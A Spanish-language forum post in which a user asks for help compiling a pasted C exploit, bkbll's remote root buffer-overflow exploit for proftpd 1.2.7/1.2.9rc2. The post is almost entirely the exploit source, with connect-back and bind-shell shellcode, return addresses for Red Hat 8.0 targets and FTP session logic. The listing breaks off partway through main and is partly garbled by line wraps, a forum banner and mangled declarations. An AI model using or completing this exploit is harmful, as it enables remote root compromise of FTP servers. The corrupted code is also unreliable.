Hola , cuando intento compilar este xploit en c me dice lo siguiente
Alguien podria decirme que ocurre?
Aqui dejo el codigo del Exploit
[code]/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Tr
anslate_Overfl
ow found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_w
rite function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define OFFSET 39 //cbshellcode ip & port offset,0 is the first
#define OFF2 70 //bindshellcode port offset,0 is the first
#define VER "1.20"
char cbshellcode[]= //from
Para ver este enlace Registrate o Inicia Sesionwww.netric.org
,and modified some code by myself
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17"
"\xcd\x80\x31\xc0\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x89\xe1"
"\xb3\x01\xb0\x66\xcd\x80\x89\xc2"
"\x31\xc0\x31\xc9\x51\x51\x68\x41"
"\x42\x43\x44\x66\x68\xb0\xef\xb1"
"\x02\x66\x51\x90\x89\xe7\xb3\x10"
"\x53\x57\x52\x89\xe1\xb3\x03\xb0"
"\x66\xcd\x80\x31\xc9\x39\xc1\x74"
"\x06\x31\xc0\xb0\x01\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xcd\x80\x31"
"\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd"
"\x80\x31\xc0\xb0\x3f\x89\xd3\xb1"
"\x02\xcd\x80\x31\xc9\x51\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x51\x68\x2d\x69\x69\x70"
"\x89\xe2\x51\x52\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
"\xc0\xb0\x01\xcd\x80";
char bindshellcode[]= //from
Para ver este enlace Registrate o Inicia Sesionwww.netric.org
,and modified some code by myself
"\x90\x90\x90\x31\xc0\x31\xdb\x31"
"\xc9\xb0\x17\xcd\x80\x31\xc0\xb0"
"\x02\xcd\x80\x39\xc3\x7c\x0c\x31"
"\xc0\xb0\x02\xcd\x80\x39\xc3\x7c"
"\x02\xeb\x06\x31\xc0\xb0\x01\xcd"
"\x80\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\xcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80";
int sockfd,sockfd1,sockfd2;
int show=0;
int mustread=0;
int getshell=0;
int pt=6000;
unsigned int type=1;
char bindmethod=0;
char usrstr[]="USER";
char passtr[]="PASS";
char ascistr[]="TYPE A";
char pasvstr[]="PASV";
char portstr[]="PORT";
char storstr[]="STOR";
char retrstr[]="RETR";
char cmdbuf[SIZE];
char srvbuf[SIZE];
char *cbhost=NULL;
char *server=NULL;
struct
{
char *os;
unsigned int ret;
int backup; //using for next
} targets[] =
{
{ "rh8.0 ProFTPD 1.2.8 (stable) 1", 0xbffff25c,0},
{ "rh8.0 ProFTPD 1.2.8 (stable) 2", 0xbffff22c,0},
},v;
//main() {}
int sendbuf(int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
int client_connect(int sockfd,char* server,int port);
void checkstatus(char *
;
void retrfile(char *s,int len,int port);
void storfile(char *s,int len,int port);
int dealpasv(char *
;
int setpasv();
void setport(char *l,int pt1);
void quit();
void storbuf(char *filename,char *buf,int size,int port);
void retrbuf(char *filename,char *buffer,int length,int port1);
void setascii();
void loginftp(char *user,char *pass);
void setfilename(char *s,int len);
int createbuffer(char *s,int len,int type,char *h);
int create_serv(int sfd,int port);
void modify(char *s,char *h,int port3);
void usage(char *
;
int execsh(int clifd);
int checklf(void *s,int len);
main(int argc,char **argv)
{
char buffer[BIGSIZE];
char cmdbuf[SIZE];
char srvbuf[SIZE];
char filename[30];
int j,a,b,port1;
int total;
char c;
char *user=NULL;
char *pass=NULL;
char *localip=NULL;
if(argc<2) usage(argv[0]);
while((c = getopt(argc, argv, "d:t:u:p:l:h:o:"))!= EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi(optarg);
if((type > sizeof(targets)/sizeof(v)) || (type < 1))
usage(argv[0]);
break;
case 'u':
user=optarg;
break;
case 'p':
pass=optarg;
break;
case 'l':
localip=optarg;
break;
case 'h':
cbhost=optarg;
break;
case 'o':
pt=atoi(optarg) & 0xffff;
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || user==NULL || pass==NULL || localip==NULL)
usage(argv[0]);
printf("@---------------------------------------------------------@\n");
printf("# proftpd 1.2.7/1.2.9rc2 remote root exploit(01/10)-%s #\n",VER);
printf("@ by bkbll(bkbll_at_cnhon
ker.net,bkbll_at_tom.com @\n");
printf("-----------------------------------------------------------\n");
printf("
- Ret address:%p\n",targets[type-1].ret);
if(cbhost==NULL)
bindmethod=1;
else
{
if((int)inet_addr(cbhost)==-1)
{
printf("[-] Invalid connect back host/ip\n");
exit(0);
}
bindmethod=0;
}
port1=34568; //PORTü??Ċ??
Autor